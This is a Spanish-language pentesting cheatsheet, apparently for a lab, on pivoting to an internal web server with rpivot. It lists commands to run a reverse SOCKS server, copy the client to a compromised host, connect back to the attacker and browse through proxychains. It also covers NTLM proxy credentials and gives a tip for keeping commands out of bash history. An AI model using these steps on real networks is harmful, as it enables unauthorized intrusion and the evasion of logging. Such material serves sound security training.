> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/web-server-pivoting-with-rpivot.md).

# Web Server Pivoting with Rpivot

* **Rpivot** es una herramienta de reverse SOCKS proxy escrita en Python2 para SOCKS tunneling.
* Enlaza una máquina dentro de una red corporativa a un servidor externo, exponiendo el puerto local del cliente en el lado del servidor (Attack Host).
* **Escenario**: web server interno en `172.16.5.135:80`; acceso desde Attack Host `10.10.15.5` atravesando el pivot Ubuntu `10.129.15.50 / 172.16.5.129`.

```
Attack Host (10.10.15.5) → [External Network] → Pivot Ubuntu (10.129.15.50 / 172.16.5.129) → Webserver (172.16.5.135:80)
```

> **Concepto clave:** El flujo es *inverso* — el cliente (máquina comprometida) conecta hacia afuera al servidor (Attack Host), evitando abrir puertos entrantes en el firewall corporativo.

***

#### 1. Clonar rpivot (Attack Host)

```bash
git clone https://github.com/klsecservices/rpivot.git
```

Clona el repo localmente en el Attack Host antes de cualquier otro paso.

***

#### 2. Levantar el servidor rpivot (Attack Host)

```bash
python2 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

* `--proxy-port 9050` — puerto SOCKS local que consumirá proxychains.
* `--server-port 9999` — puerto donde el cliente pivot se conectará de vuelta.
* `--server-ip 0.0.0.0` — acepta conexiones en todas las interfaces.

**Output esperado:** el servidor queda en escucha, sin output inmediato hasta que el cliente conecte.

***

#### 3. Transferir rpivot al Pivot Target

```bash
scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
```

* `-r` — copia recursiva del directorio `rpivot/`.

Requiere acceso SSH previo al servidor pivot Ubuntu.

***

#### 4. Ejecutar el cliente en el Pivot Target

```bash
python2 client.py --server-ip 10.10.14.18 --server-port 9999
```

* `--server-ip` — IP pública del Attack Host.
* `--server-port 9999` — debe coincidir con `--server-port` del servidor.

**Output esperado (cliente):**

```
Backconnecting to server 10.10.14.18 port 9999
```

**Output esperado (servidor, Attack Host):**

```
New connection from host 10.129.202.64, source port 35226
```

***

#### 5. Navegar al web server interno con proxychains

Asegúrate de que `/etc/proxychains.conf` tenga la línea `socks4 127.0.0.1 9050`, luego:

```bash
proxychains firefox-esr 172.16.5.135:80
```

**Output esperado:** Firefox carga la `Apache2 Ubuntu Default Page` del servidor interno, confirmando que el tunnel SOCKS está activo.

***

#### 6. Escenario con HTTP-Proxy y autenticación NTLM

Algunas organizaciones interponen un HTTP-proxy con autenticación NTLM gestionada por el Domain Controller. En ese caso:

```bash
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 \
  --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 \
  --domain <nameofWindowsDomain> --username <username> --password <password>
```

* `--ntlm-proxy-ip` / `--ntlm-proxy-port` — IP y puerto del proxy corporativo.
* `--domain`, `--username`, `--password` — credenciales de dominio Windows.

**⚠ OpSec: las credenciales se pasan como argumento de línea de comandos y quedarán registradas en el historial de bash (`~/.bash_history`) del host comprometido. Limpiar el historial o usar `HISTFILE=/dev/null` antes de ejecutar.**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/web-server-pivoting-with-rpivot.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.